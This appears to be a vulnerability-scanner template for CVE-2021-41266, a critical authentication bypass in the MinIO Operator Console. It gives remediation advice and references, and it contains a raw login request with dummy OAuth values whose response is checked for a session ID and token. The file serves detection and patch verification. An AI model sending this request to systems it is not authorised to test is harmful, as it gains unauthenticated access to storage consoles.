id: CVE-2021-41266

info:
  name: MinIO Operator Console Authentication Bypass
  author: alevsk
  severity: critical
  description: |
    MinIO Console is a graphical user interface for the for MinIO Operator. MinIO itself is a multi-cloud object storage project. Affected versions are subject to an authentication bypass issue in the Operator Console when an external IDP is enabled.
  remediation: "Update to v.0.12.3 or higher. Users unable to upgrade should add automountServiceAccountToken: false to the operator-console deployment in Kubernetes so no service account token will get mounted inside the pod, then disable the external identity provider authentication by unset the CONSOLE_IDP_URL, CONSOLE_IDP_CLIENT_ID, CONSOLE_IDP_SECRET and CONSOLE_IDP_CALLBACK environment variable and instead use the Kubernetes service account token."
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-41266
    - https://github.com/minio/console/security/advisories/GHSA-4999-659w-mq36
    - https://github.com/minio/console/pull/1217
  tags: cve,cve2021,minio
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.80
    cve-id: CVE-2021-41266
    cwe-id: CWE-306

requests:
  - raw:
      - |
        POST /api/v1/login/oauth2/auth HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        Content-Type: application/json

        {"code":"test","state":"test"}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 201
          - 200
        condition: or

      - type: word
        part: body
        words:
          - "sessionId"

      - type: word
        part: header
        words:
          - "token"

# Enhanced by mp on 2022/03/06